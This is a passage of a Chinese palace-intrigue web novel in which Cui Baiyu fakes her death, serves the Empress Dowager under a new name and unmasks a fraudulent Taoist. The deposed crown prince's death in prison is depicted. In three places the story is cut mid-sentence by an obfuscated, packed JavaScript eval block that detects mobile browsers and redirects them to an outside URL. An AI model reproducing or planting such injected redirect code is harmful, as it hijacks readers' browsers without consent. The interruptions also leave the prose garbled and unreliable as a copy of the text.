陇州刺史蒋钥是赵呈一手提拔,当初,他南巡遭遇刺杀,蒋钥空手接白刃,与刺客周旋半天,身中数刀救下赵呈。 那时候,他还只是一个七尺须眉黑脸的屠夫,目不识丁,但古道热肠、肝胆血性,赵呈给了他进入军营的机会,亲自教他带兵打仗。 知遇之恩,终身难报。 崔白玉来的时候并不知道此事,她是离开时才知道。 或许,她可以阻止这场叛乱的,可一切都晚了。 十日后,崔白玉带着赵辛秘密回京,住在了一处偏僻的别院。 夜色沉沉,赵辛静静地站在门前,一动不动,望着崔白玉的背影,强忍着眼泪道:“崔姐姐,你也觉得皇兄会谋反吗?” 崔白玉眼皮动了一下,搁下手里的册子,抬头看他。 自古废黜太子没一个有好下场,但赵呈是死是活,说到底,还是太后和陛下之间谁占上风。 赵辛道:“崔姐姐,此事真的没有转圜的余地吗?”说着,眼泪像断了线的珠子,源源不断地从脸颊滑落。 哭了一路,人也跟着憔悴不少。 桃酥担心他这几日连夜赶路,累坏身子,晚饭给他煲了骨头汤,可他也没喝多少。 崔白玉长长出了一口气,走到他面前,蹲下身,擦拭着赵辛脸上的泪痕,“事既至此,我会尽力的。” 赵辛闻言,哭得更加厉害,“崔姐姐,可我真的好怕,我怕皇兄真的不要我了........” 崔白玉俯下身将人抱起来,发现这孩子瘦得都快只有骨头了,“临行前,太子殿下特意来找我,让我无论如何一定照顾好小殿下,他这般放不下,怎会不要你呢?” 赵辛搂着她的脖子,把脸埋在颈间小声抽泣,“可皇兄为何会落得这个下场?” "早点睡罢。"崔白玉清楚他的恐惧与忧虑,轻轻拍着他的后背,“明日或许就有好消息了。” 赵辛还想再问,能不能见皇兄一面,可一想到他私自回京已然忤逆圣旨,若是再任性怕是会再一次牵连崔白玉。 他小声道:“崔姐姐,你能陪待一会儿吗?” “好,我就在旁边守着你。”崔白玉将人安置在榻上,盖好被子,坐在床沿拿了本书读给他听。 屋里的烛火渐渐暗了下去,赵辛没能坚持片刻,就睡过去了。 这时,桃酥进屋抱着小白,放轻脚步进屋,低声道:“姑娘,外面来人了。” 仅仅过一个多月时间,桃酥已然对崔白玉的认知彻底颠覆了。 什么齐太后,周正德,赵呈,方叙言,这些人以前和崔白玉没有半分瓜葛,如今再看,都和她有着千丝万缕的联系。 崔白玉不紧不慢地绕过屏风,顺手拿了件披风拢在身上。 这几日,桃酥明显感觉崔白玉心情不佳,凡事都是心不在焉,黯然销魂,好似.......好似死了丈夫。 “啪”的一声,想到这,桃酥当即给了自己一巴掌,她家姑娘明明待字闺中,怎么会死了丈夫呢? 可赵呈确实被关起来了。 姑娘喜欢他那么多年,如何不伤心憔悴? 榻上的赵辛翻了个身,崔白玉侧头看她。 桃酥自知动静大了,定了定神,走到她身边,问道:“姑娘,奴婢怎么不见崔九?” 崔九.......这话犹如一把刀是刺在崔白玉的心头,一瞬间不知道说什么好,眼神又暗了几分。 刚发觉的喜欢被她自己亲手葬送,但她又不可能和赵辛一样抱头痛哭。 那把刀让他们没有挽回的余地,她只能期待来日,可来日,他们只能是敌人。 而她,恐怕是生死难料。 还是不见得好。 “以后,就当他没来过吧。”声音里带着浓浓的悲伤与不舍,崔白玉撩开帘子往外走。 桃酥不可思议地望向崔白玉的背影,心中立即有了猜测。 听闻当时陇州刺史兵变,大肆烧杀抢掠,苏有枝也在那,崔九那混帐,定然是选择保护苏有枝,把她家姑娘抛弃了! 这狼心狗肺的东西,她家姑娘哪点对不起他了。 没来过好,谁稀罕他似的。 桃酥愤愤不平地想,离开屋子的时候,小心翼翼地带上了门。 小安子看见崔白玉出来,脸上有了笑意,“崔姑娘,太后要见你,跟着咱家走一趟罢。” 头一次见这等人物,崔白玉难免心中摸不着底儿。 小安子看出她的紧张,笑了笑,走上前特意帮她掀开轿子的帘子,“崔姑娘,陇州这事儿,太后觉得你办的不错,大可放宽心。” 崔白玉想晕了脑袋,临时又动了个念头:“提督大人,花姐姐也在吗?” 她现在最担心的是崔九没死的消息已经传到京城。 当日,她吹响了玄虚留给他的哨子,等她们走后让他赶紧带走崔九进行医治。 虽然不知道玄虚安得是什么心,可终归是出家人,应该不会袖手旁观。 只是,他若是将崔九的身份昭告天下,那她骗花枕的事就暴露了。 小安子眉棱骨不易觉察地抖了一下,压低声音神秘地说,“放心,你相信咱家就好。” 崔白玉默默点了一下头,低下头钻进轿子。 这个时辰已经过了宫禁的时间,小安子带着她走的是个偏门。 坤宁宫殿内高悬着华丽的宫灯,齐嬛阖眸,倚靠在一张雕刻精美的凤椅上,发髻梳得一丝不苟,尽管面庞虽已布满岁月的痕迹,但周身透着一种与生俱来的威严。 这是历经岁月沉淀后的雍容华贵,寻常一辈子都望尘莫及。 尤其是那双眼睛仿佛能看透人的五脏六腑。 崔白玉跪在殿内行礼问安。 小安子压着步子走到齐嬛身边小声说了句,“人来了。” 齐嬛睁开眼,微微抬手,和蔼道:“哀家已经很久没有看到坤宁宫来新人了,起身罢,不必拘礼。” 崔白玉还是略显拘谨,站起身瞧了一眼小安子的笑脸,这才敢将屁股放在椅子上。 齐嬛轻笑一声,“白玉,哀家一直都想见你一面,但一直抽不出时间,这次好不容忙完手头的事,没想到已经是这个时辰了。” 不知为何,崔白玉总有种不好的预感,有些汗流浃背。 齐嬛抬手示意宫女赐茶,继续说道:“上次,哀家已经让小安子和你说了,这次你事情办得不错,不如以后就留在哀家身边,如何?” 崔白玉站起身,见她摆手又坐了回去,“能得太后娘娘青睐,是白玉的福分。” “白玉,”齐嬛念了一遍她的的名字,脸上闪过一丝笑容,话锋一转,“哀家听闻你之前钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337019|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意赵呈,可有此事?” 崔白玉捏了捏手指,恭敬回话:“回太后娘娘,我,我之前确实喜欢过殿下........” 齐嬛眼里含着笑容,越发觉得深不可测,“不必紧张,哀家只是随口一问,少女怀春,人之常情,哀家也是女人,当然能体谅你的心情,能悬崖勒马已经是极好的。” 崔白玉呆滞地点点头。 齐嬛微微扬起下巴,示意旁边端着酒盏的宫女上前,维持着一贯的沉稳,淡淡的说道:“白玉,今日这酒,就由你送给废太子,顺便做个了断罢。” 话落,崔白玉的脸色瞬间变得煞白,喉咙干涩得发不出声音。 走出殿门的时候差点被裙摆绊倒,宫女端着酒壶的默默地跟在她身后。 崔白玉眼神空洞地望着前路,不知走了多久,来到一个阴森恐怖的空间。 墙壁上只有两盏昏暗的油灯在角落里摇曳,空气中弥漫一股汗臭、血腥、腐臭混杂在一起的异味。 隔着厚重的墙壁,犯人的哭泣声和铁链的撞击声,交织在一起,让人不寒而栗。 崔白玉每走一步心就跟着揪紧一分,就这样,她一直走到监牢长廊的尽头。 隔着铁栏看到那个满身是血的人。 是人吗? 崔白玉也不知道对方还算不算是人,她只看见了一个披散着头发,身上都是森白的骨头和血淋淋的窟窿。 狱卒打开牢门。 铺天盖地的悲痛席卷而来,崔白玉无数念头划过脑海,不由得往后退了一步。 赵呈靠在阴冷的墙壁上,艰难地抬起头,半晌,喉咙里发出断断续续的喘息声,“.......原来死前见到的人是你。” 这一刻,崔白玉感觉自己的灵魂都要被惊惧抽离出去。 赵呈微微挪动身子,身体不受控制地抽搐,无力地抬起手,“过来.......” 崔白玉眼眶泛红,走到他身前,蹲下身,颤声道:“对不起,我,我........” “不怪你,你答应我的,要做到,就不怪你。”赵呈把手伸向她,艰难地呼吸着,说话声音微乎其微。 双手瘦骨嶙峋,手指如同干枯的树枝。 短短的十日,赵呈已经被人折磨的不成人样。 崔白玉接住他的手,下一刻,不知赵呈哪来的力气,把人拥入怀里,从她的发髻上摘下一支步摇。 赵呈用最后的力气声在耳边说:“下辈子,我不当太子了,我想,我想换个身份遇见你。” 崔白玉整个人瞬间僵在原地,跪在他身边,感觉碰到他的身体的那一瞬间都像是在炼狱般煎熬。 她怕碰疼了赵呈。 可就在她失神的瞬间,滚烫的鲜血溅了一身。 赵呈用步摇刺穿了脖颈,身子一晃沉重地倒在她身上。 崔白玉脸色青红白黑交错,愣了不知多长时间,将自己的披风盖在赵呈身上,拿走他手里的步摇,迈着飘忽不定的步子走了出去。 翌日清晨,赵呈惨死在大狱的消息如疾风骤雨般传入全国,一时间,皇城被一层阴霾笼罩。 朝廷文武百官开始着手安排后事,行祭奠之礼。 之后的第二日,京城还发生了一件小事,崔琅华的妹妹崔白玉因为伤心欲绝,于家中病死。 皇宫多了一位神秘的长乐郡主,只闻其名不见其人。 传言,说是齐太后的远房表妹。 34. 寒芒 这才过去半个月。 玄虚瞧了一眼榻上穿衣服的人默默叹了口气,“殿下,接下里有什么打算?” 眼下,只要是个有眼力见的人都不敢凑近他。 余毒未清,再加上身受重伤,玄虚不知道他这体魄是怎么练成,但本该卧病在床养一年的伤,却全然不顾,可见其心中的怒火和仇恨。 玄虚相当爱惜自己,自然也不会张那个嘴,不然自己怎么死的都不知道,而且,就赵丞现在这个状态,他只能说崔白玉非常有先见之明。 假死脱身是个非常正确的选择! 赵丞穿好衣服,微微侧首,“你为什么会认识她?” “她之前找贫僧算过姻缘.........”玄虚对上他的目光,禁不住打了一个寒颤,“殿下,其实这次,她只是.........” 她只是选择了赵辛,这在他看来选择赵辛就等同于选择了赵呈。 可惜赵呈已经死了,还留下一个烂摊子。 “我该感谢她的不杀之恩?”赵丞拿起桌上的刀,目光落在一旁叠得方方正正的手帕。 玄虚晃了晃葫芦里的桂花酿,惋惜道:“.........崔姑娘已经不幸离世了。” “离世?”赵丞微眯了一下眼睛,拿刀尖勾起手帕,扔进地上的火盆,抬脚离开屋子。 人一离开,屋里的气氛瞬间松快不少,玄虚坐在长凳上,猛灌了一口酒,喝了个痛苦。 昨夜发现了一个奇怪的事。 之前的卦象,上卦为兑,兑象为泽;下卦为巽,巽象为风,赵丞作为祸因,将来登基会成为暴虐无道的帝王。 可现在卦象变了,玄虚也不知是好是坏,唯一可确定的就是眼前赵丞的恨意只增不减。 仇恨还在为何还会改变了卦象?玄虚突然了一个不厚道的突发奇想:难不成,他现在只想报复崔白玉一个人? 祸水东引了........ 簌雪阁。 崔白玉忽然感觉后背凉飕飕的,打了个喷嚏。 桃酥帮她戴上头饰,见她脸色不是很好,又找来金箔剪成花钿贴在额间。 崔白玉睡醒之后,喜欢在床上赖半个小时,但今早要梳妆,就免去了这个环节,坐在铜镜前一副神游物外的淡漠神情。 桃酥拿来两套衣裙,一件是淡粉色织锦长裙,裙摆绣满了各种精美的花鸟图案,俏皮可爱,一件烟笼梅花百水裙,红色为主,裙裾上绣着洁白的点点梅花,“姑娘,今日打算选穿哪套衣服?” 崔白玉回头看了一眼裙子,又看了一眼镜子里的自己,轻声开口:“红色那条。” 今日的妆容浓了许多,不过这样也好,能遮掩一下她年龄太小的问题。 在宫里混还是年少老成些好。 桃酥有些惊讶,帮她换好衣服后,还是忍不住念了一句:“奴婢还以为姑娘会选粉色的裙子。” 崔白玉站起身,微微仰起头,打量着铜镜里的人,笑道:“其实我更喜欢颜色鲜艳的。” “也是,姑娘的五官华丽精致,太过素净的衣服反倒有种违和感,”桃酥仔细地观察了一下,蓦然间,发现崔白玉耳廓上多了两颗朱砂痣,“姑娘,奴婢记得你这里之前没有红痣的。” 没有吗?崔白玉一愣,凑到铜镜前瞧了一眼,“这里之前没有红痣吗?” 她一直以为崔白玉和崔瑜的长相是完全相同。 “对呀,姑娘忘了,”桃酥整理了一下她头上晃动的步摇,“姑娘打了耳洞之后,耳朵红肿了好长时间,那时候都是奴婢帮姑娘上药,奴婢不会记错的。” 那就奇怪了,崔瑜的耳朵是肯定有朱砂痣,崔白玉有没有,她还没注意过这个问题。 难不成是身穿? 桃酥叹息一声,搀着她往外走,“姑娘不必多想了,这是好事,我们家乡的老人说,女子身上的朱砂痣是上天赐予的福祉,能够远离灾祸的。” 如今的情势,相当微妙,崔白玉并没有闲心考虑这件事,她抬起手腕细细打量着手镯,略作思忖打定主意,“过会儿你跟我出宫一趟,多置办些衣服首饰。” 她必须取得齐嬛的信任。 桃酥听到这话险些感动落泪,“姑娘你终于舍得打扮自己了!” 崔白玉笑道:“女孩子哪有不喜欢打扮自己的?更何况我还是个很俗气的人。” 桃酥眼前一亮,不解道:“俗气?奴婢觉得姑娘长得很好看啊,只是很少花费心思在打扮上,怎会俗气?” “到时候你就知道了,”崔白玉停顿了一下,“对了,小殿下如何了?” 桃酥摇了摇头,担忧道:“还病着,也不肯吃药,就姑娘去的那次吃了些东西。” 伴君如伴虎,崔白玉是在众人惊讶艳羡的目光中得了一个郡主的称号,在宫里,她的一举一动都有人盯着,如履薄冰。 而现在,崔白玉开始接手坤宁宫的大小事务,每日忙得脚不沾地,根本抽不出时间出宫,今日休息,还是软磨硬泡央求下来的。 当然,如此兢兢业业,更是为了观察着皇宫的一举一动。 她道:“去看看罢。” 天空的小雨细细飘了起来。 崔白玉带着帷帽推门而入,进了一间小院。 赵辛站在树下,听到脚步声,抬头望了过去。 本就有些瘦削的少年脸庞苍白如纸,毫无血色,因为高烧不退的缘故看上去更为孱弱,眼眸也失去了少年应有的明亮光彩。 崔白玉静静地看着他,酸涩之感瞬间涌上心头,眸子里涌动着复杂难明的情绪。 良久开口道:“你要一直这样吗?” 赵辛眼眶闪着泪花,哭诉道:“你答应我了,你明明答应我了,你说你会尽力的,让皇兄活下来!” 崔白玉道:“他已经死了。” 赵辛情绪越来越激动,胸口也跟着剧烈地颤抖,“都是你们害死的!” 崔白玉上前拎起他的衣领,厉声道:“你再这样我就不管你了,哪里来的送哪去,反正你也不想活了,我也省心了。” 赵辛身体十分虚弱,几乎没有挣扎的力气,“不要就不要,反正在你们眼里,我就是累赘,死了就去见皇兄。” “你想让他看见你这副没出息的样子?”崔白玉攥紧他的领子,“你皇兄当上储君的时候比你更难,他可没像你这般不堪!” 赵辛渐渐冷静下来,良久,所有复杂而压抑的情绪在这一瞬间彻底决堤,紧紧抱着崔白玉撕心裂肺的哭喊。 “.......你不能,不要我,我只有你了。”声音杂着几声抽噎,说完,人就昏了过去。 崔白玉抱着人回到房间,吩咐郎中熬药,亲自给他灌下去。 真是个气死人不偿命的小屁孩,长这么大都没照顾过人,赵辛还是头一个。 莫名有种无痛当娘的感觉。 崔白玉这般想着,给他掖了掖一下被子,过了一会儿,又打来一盆热水,擦拭着额头上的汗。 赵辛已经烧糊涂了,嘴里说着话,可惜崔白玉分辨不出到底在说些什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346719|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 折腾了半天,一个上午很快就过去了。 虽然前段日子一直避而不见,但姑娘还是很担心小殿下的,桃酥眨巴眨巴眼睛,小声道:“姑娘,还是奴婢来吧。” 今日好不容易精心打扮一次,估计又白瞎了。 崔白玉叹了口气,脸色稍微缓和,将帕子递给桃酥,给她腾地后自己靠在太师椅上休息。 然而,闭上眼不到一刻钟,院外来了一个太监,崔白玉默默捂住了自己的小心肝。 那人道:“太后传郡主回去一趟。” 崔白玉瞧着面熟,很快就想到他是小安子身边的人。 她带上帷帽,不慌不忙地问道:“是宫里发生了何事?” 那人知道她最近和顶头上司走得近,也就没有隐瞒,而且叫她回去也是处理此事,“陛下今早回了皇城,这会儿在昭阳殿和太后娘娘商议储君之事。” 当今皇帝子嗣单薄,再加上太后早有准备,一早将皇子打发到封地去,这回赵呈一死,京城也就剩下几个公主了。 立储君.......除了赵辛还有旁人? 崔白玉想了想,神情多少带着点迷茫。 之后大约过了一个时辰,崔白玉来到昭阳殿,皇帝已经走了。 殿内悬挂的帷幔轻轻飘动,齐嬛正低头看折子,满殿的宫女侍从一齐下跪,而正中央的那位,崔白玉再熟悉不过。 她放轻脚步走上前行了一礼。 花枕满额皆是点点冷汗,余光瞥了她一眼,眸底有道凌厉的光芒闪过。 崔白玉心中了然,按照往常的流程,走到书案前帮着研磨。 齐嬛冷笑一声,扔掉了手里的密信,沉声道:“花枕,哀家是信任你才将此重任托付于你,可你,两次三番让哀家失望,这次,更是坏了哀家的大事!” 花枕脸色转白,低头不语,心中也是困惑,但想来想去,问题肯定出在崔白玉身上。 宫女埋头离开,齐嬛道:“这次,他要是回来京城,你知道该怎么做罢。” 花枕咬着牙轻声道:“属下知道。” 当初,赵丞就是因为身世遭到诅咒被废了储君之位,这次又多了相国寺的鬼火案,赵丞天煞孤星的命格已然完全坐实,劫后余生算得了什么? 齐嬛漠然道:“这次若是再不成,你这行渊阁的阁主就不必做了。” 花枕离开后,崔白玉又在身边端茶倒水侍奉了一会儿也出来了。 小安子刚才遭了花枕的冷脸,正没处说闲话,恰巧就遇见了崔白玉。 同为女子,这两人一对比,那简直是一个天上一个地下。 那疯婆娘有功夫傍身,掌管行渊阁一来打探消息,二是行刺官员,可说白了,也不过是太后用着比较称心的一把刀。 谁曾想这人居然自视甚高,以为爬到枝头成了凤凰,瞧不起阉人。 一个江湖杀手,能和他东厂提督相提并论? 小安子心中对她诸多不满,早就想把人挤兑走了,而今面前正好站着一个。 崔白玉是太后面前的红人,炙手可热,平日不离左右,该有的谦顺半点不少,要是把她推上去,也是有些好处。 小安子斟酌字句正要开口,崔白玉忽然道:“提督大人,方才殿里说得是那个废太子吗?” “是啊,周正德不知道在那个旮旯把人找见了,估计过两日就该到京城了。”小安子漫不经心地说道。 崔白玉皱眉凝神细思,手心发凉。 这回来的是不是有点太快了。 35. 妖道 崔白玉这人不错,不仅人长得好看,心性也不差,日后都在一个屋檐下共事,小安子有心拉拢,两人寒暄一番,正好臭味相投,在泰和楼摆上了一桌酒席。 酒过三巡。 “没想到啊,你一个小姑娘酒量这么好,”小安子出城门就换上一袭青衣道袍,此时喝了半斤酒已然晕头转向,看什么都影影绰绰,“咱家记得........记得崔大人也不是很能喝啊,你喝这么多,怎么脸都不带红的?” 崔白玉一手撑着脸,抬目轻笑一声,“提督大人,真是喝糊涂了,我现在是齐南笙,和崔家有什么关系?” “是是是,瞧我这脑子,怎就记错了,”小安子喝了几口凉茶醒神,神气渐渐松弛下来,依然是一副笑脸,“你这差当得还真是挑不出一丁点毛病,今年刚十五?” 崔白玉吩咐下人去端醒酒汤,打趣道:“提督大人,瞧我像是多大的?” 多大? 说到这里,小安子突然又多了个心眼,压低了声音约略一说:“你这小妮子精得很,不显山不显水,像狐狸,扯谎眼睛都不兴眨一下。” “狐狸啊,”崔白玉斟了一杯酒,抿了一小口,“我听闻提督大人家里养了好几只赤狐,都是珍品,改日,小女子去你家中瞧一瞧——” “少来,咱家的赤狐哪个不是价值千金,你这小妮子吃顿饭就想拐走咱家的宝贝,”小安子摩挲着酒杯,眯眼看她,“咱家的赤狐,整个京城都没人敢张这个口。” 崔白玉回报一笑,不急不慢地说道:“那还真是可惜了。” 斯时天色尚未黑尽,小安子喝了一碗醒酒汤,听到房间外的说话声,脑海里突然闪过一个人影,打趣地问道:“年纪也不小了,现在可有婚配?” 崔白玉眉头一挑,问道:“提督大人打算牵个线?” 小安子嘿嘿一笑,走到窗前推开一道缝隙,调侃道:“瞧见没,徐文宗的长孙徐净空,大梁最有钱的就是他们家,你要是能进徐家的大门,过得不比宫里人差。” 泰和酒楼底下站着一个穿着讲究,气质不凡的男人,眉宇间隐隐流转着一派沉静儒雅气象,而他似乎也察觉到目光,抬头望了过来。 两人都伸着脑袋,崔白玉眼角微微一动,忽然轻笑一声,“徐净空.......紫色衣服哪个?” “不错,”小安子关上窗,意味深长地说,“这人现在是徐家家主,雷厉风行,手段了的,一叶落知天下秋。” 崔白玉收回视线,抬眸看他。 如果没记错,赵丞曾跟她说过,齐家和徐家私下并不和睦,表面上风平浪静,但暗地里已经是剑拔弩张,杀机四伏。 至于这个徐净空,他的正妻好像是在半年前病故了...... 小安子端起桌上的凉茶吃了一口,顺手泼到花盆里,“太后手里的权势,除了咱家和齐阁老就是他们老徐家,只是徐文宗告老还乡后,徐家的人就鲜少来宫里走动,太后心下存疑,想派人过去盯着。” 崔白玉听言,心中明白了八九分。 小安子想借她和徐家套近乎。 “木秀于林,风必摧之,你现在这个位置,已经让不少人眼红了,若是还和花枕不对付,最好寻个靠山。”小安子趁着酒兴,多说了不少。 崔白玉点了点头,两人又坐回酒桌,她问道:“太后和祁大将军关系如何?” “祁将军为人刚正不阿,轻易不趟这摊浑水,”小安子停顿了一下,端详着崔白玉,“当然了,赵丞回来就另当别论了,总归是天下乌鸦一般黑,谁都有偏袒之心。” 赵丞怎么会和祁家扯上关系?崔白玉道:“这个怎么说?” “这个事啊,你还真问对人了。”小安子呷了一口醒酒汤,连声叹气,“赵丞的出生虽然不光彩,但咱们谁也惹不起,够硬。” 赵丞的出身一直饱受诟病,并非空穴来风,崔白玉知晓这个道理,一直暗中打听,可惜毫无收获。 她眨了一下眼睛。 小安子一脸讳莫如深的样子,慢慢凑近了崔白玉:“他的母亲是先帝打入冷宫的妃子祁晏湘,机缘巧合之下,结识当今陛下,二人之间情愫渐生,慢慢就好上了,之后没过多久,祁晏湘生下一子,就得了怪病,有个老道士说是受到诅咒,陛下本来是不信的,但祁晏湘的身份敏感,心中郁结,病痛折磨几年就走了,而她死后不久,小太子也让鬼火烧死了,双重打击下,陛下也就无心朝政,这么些年一直住在行宫,国家大事都是太后撑着。” 因此,也造成了现在太后手中的权力越来越大。 崔白玉漫不经心地说道:“那三皇子刚出生就被立为太子,也是沾了母妃的光。” 小安子唏嘘一声,道:“不尽然,他啊,天赋异禀,治世英才,脾气秉性都不差,深受朝中老臣的欢喜……但可惜,兔子的尾巴长不了,太后要扶持的是赵辛。” 脾气秉性都不差?崔白玉摸了摸自己的后脖颈,心里愈发不好过,“这次必陛下出面,应该也是有意将赵丞立为太子。” 小安子自斟自饮,笑道:“他要是当上太子,咱们就都完了。” 这话,崔白玉发自内心的认同:“还真是。” 而且她肯定是最惨的那个。 天色已晚,两人乘着轿子回宫。 崔白玉带着一身酒气回到簌雪阁,收拾收拾就睡下了。 三日后。 崔白玉安排好坤宁宫的诸多事宜,出宫看望赵辛,来到了一条店肆林立的街市,买些点心。 “听说了吗,那妖妃的孩子又回来了,好像还要当太子呢!” “真是滑天下之大稽,那种人也能当上太子?咱们大梁实在是没有人了吗,不对啊,他不是让鬼火烧死了吗?” “谁说不是呢,好端端地,怎么就活着回来了!这才过了几年的太平日子,可千万别是亡魂索命!” 赵丞还未回到京城,便已经谣言四起,再过一阵子,这谣言怕是能吃人了。 崔白玉侧耳听着,顺便在河道边摘不少野花扎在一起。 桃酥心下觉得奇怪,凑到崔白玉身边,小声问道:“姑娘,这三皇子在民间的名声可真差,昨夜提督大人提到他,还有那些朝臣,大家明明还是挺满意的,一个人的外界评价怎么会如此极端?” 崔白玉掀起眼皮,“那你觉得谁接触到了他?” 桃酥道:“那肯定是朝中大臣啊!” “从众心理是个体普遍所有的心理现象,在舆论的导向,很多人都会选择放弃自己的意见或违背自己的观点,这是他们希望看到。”崔白玉无奈地笑了笑,“齐太后是操控民心的高手,所有人都在她的林子里迷了路。” 只是,靠阴谋猎取高位,是为天下学士所不齿,赵呈正是明白这一点,开始拉拢寒门学士做门客。 可他究竟错在哪了? 崔白玉正慢慢复盘赵呈这些年的计划,积累经验教训,督促反思,这一次她不能再重蹈覆辙了。 不过,眼前还有一个问题,崔白玉很不爽那个四处散播谣言的妖道。 她派人查过了,那人自诩崂山仙长,现在就在灵霄观传授道法。 崔白玉想见他一面,也跟着人群去了。 在道观的演法台上,崂山仙长头顶骨质冠冕,身着一袭黑色道袍,绣着暗红色的符文。 他闭目凝神,双脚站定,呈子午之姿,缓缓开口,吟诵起《净心神咒》。 这番打扮倒是考究,可把自己称为仙长,脸还是太大了。 太碍眼了。 崔白玉戴着帷帽,成功和那些台下的人满脸震撼与向往的人融在一起。 随着崂山仙长的吟诵,小道士见台下已经挤满了人,抬手轻轻一挥拂尘,开始发言。 之后,啰里啰唆讲了将近半个时辰。 崔白玉一句话总结,“这香炉乃是上古时期一位仙人所留,若是遇到有缘人,仙人的一缕残魂便会感知,庇护一生。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356186|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 众人听言,满脸兴奋,纷纷排队到一尊巨大的青铜香炉前诚心叩拜,祈求仙人相助。 而就在这时,一位身着布衣的妇人抱着孩子挤进人群,大喊一声,“崂哥儿!” 须知,香客在道观叩拜时,忌讳大声喧哗、嬉笑打闹,尤其是在法师们做法事的时候,全场安静。 这一声“崂哥儿”无疑是让在场的众人的都听见了。 崂山仙长沉稳的脸上登时裂开了一道缝,抬手示意把人拿下。 然而现场人太多,道士根本挤不进去,再加上有人刻意阻拦,根本无法近身。 “崂哥儿!俺跟你好歹做了十几年的夫妻,你当真狠心,不认我们娘俩儿!”妇人抱着孩子,满脸沧桑,声音委屈但也足够洪亮,“俺知道你是被逼无奈偷了邻居一头猪仔儿,所以你在里面坐牢的时候,俺们一直守在外面,可过去这么久,你早该回来了,你为何迟迟不归家?爹娘咽了气的时候都念着你,希望你改邪归正啊!你为什么不回来?” 偷猪仔儿?他当年分明偷的是金子!台下喧哗起来,崂山仙长眉心狂跳,大声呵斥道:“住嘴,你这无知妇人,信口雌黄,贫道与你素不相识,你为何污蔑贫道?” 妇人掷地有声地喊道:“崂哥儿!俺为了照顾孩子和爹娘挖了十五年的野菜,可你在这风风光光的当仙人!就你这样还度化别人,你连自己都没度化,还在这里妖言惑众!” “此乃圣地,容不得你这般亵渎!”向来仙风道骨的崂山仙长面目逐渐狰狞,顾不得仙姿,开始撸起袖子指挥,“在那边呢,你们赶紧把人轰出去,快啊!” “难道这是狗急跳墙了?” “抛妻弃子这种事也做得出来,亏我还在这烧高香,大伙儿快散了罢,再烧祖坟都该冒青烟了!” “是啊,老道长你还是快回家奶孩子罢,行骗这么多年,早就赚得盆满钵满了,别不知足了!” “到处坑蒙拐骗,害了多少人,要我说这种人就该坐牢!” 妇人周围有人暗中保护,道士围过来靠近不了分毫。 她攥紧手心,闷头想着台词,过了一会儿,再次大声质问:“崂哥儿,你真不想认俺?” 崂山仙长目光如炬,仿若要喷出火来,决绝道:“贫道不认识你!” 按理说,事情发展到这个地步,他早就该明白,曾经抛弃的妻子,连自己名字都不会写,怎么可能在这种场合说出成语,甚至还引他入套。 可他已经气昏了头,已然想不到一步。 妇人眼含热泪,怀里的人更是合时宜地喊了一声“爹爹”,引来无数人的唏嘘和同情。 她道:“崂哥儿,咱俩以前可是睡一个被窝的,你屁股蛋儿上的黑痣有杂毛,俺可记得,你要真不是崂哥儿,你就把裤子脱了,让大伙儿都瞧瞧!” 当众脱裤子?脱了他还有脸出去见人吗? 台下笑声此起彼伏。 今日这事传出去,不管崂山仙长作何解释,他都从跌落神坛,成为百姓口口相传的笑话。 高明的谎言是七分真三分假,可那妇人的话却是七分假,三分真,偏偏辩驳不得,这是最令他火大的。 什么偷猪仔,咽气的爹娘,十几年的夫妻,全是假的! 他老娘早死了,而他们成婚也不过只有六年! 崂山仙长当即起了杀心狠狠地跺脚,转身走后门离开演法台上。 然而,曹兵带着大理寺的人早已在恭候多时,当即拿下人,“崂山仙长,陛下要见你。” 作孽多年,也该遭报应了。 对于这出戏,崔白玉还算满意。 她走出灵霄观,正兀自悠哉的在路边闲逛,忽然听得迎面有一个人气喘吁吁地说道:“周正德带赵丞回来了!” 崔白玉抬头一愣。 影卫道:“赵丞直接去了你的.......坟茔。” 崔白玉:“........................” 36. 坟茔 去坟茔做什么?应该不是祭拜她的吧....... 崔白玉忽然感觉一股凉气从脚心直窜脑门,心脏几乎从嗓子里蹦出来。 倘若真的挖坟掘墓,那赵丞一定会发现坟茔里的女尸不是她。 不会还要死后鞭尸罢? 崔白玉花了几息时间,拎着裙子赶紧坐上马车回宫,抓紧时间赶路,以防两人在皇城门口遇见。 崔琅华目前还在陇州处理蒋钥起兵谋反的事,尚且赶不回来,所以她能瞒天过海直接下葬。 她假死不过是为了给苏有枝一个交代,然后顺便找到一个新的身份活下去。 天晓得赵丞会挖坟掘墓!!! 古人不是最忌讳这种事吗? 崔白玉靠在马车里,微微叹了口气,心头更添苦涩。 如若赵丞把她假死的事说出去,肯定又会惹来不少麻烦。 转眼间乌云密布,天色愈发闷沉,压得的人有些喘不过气来。 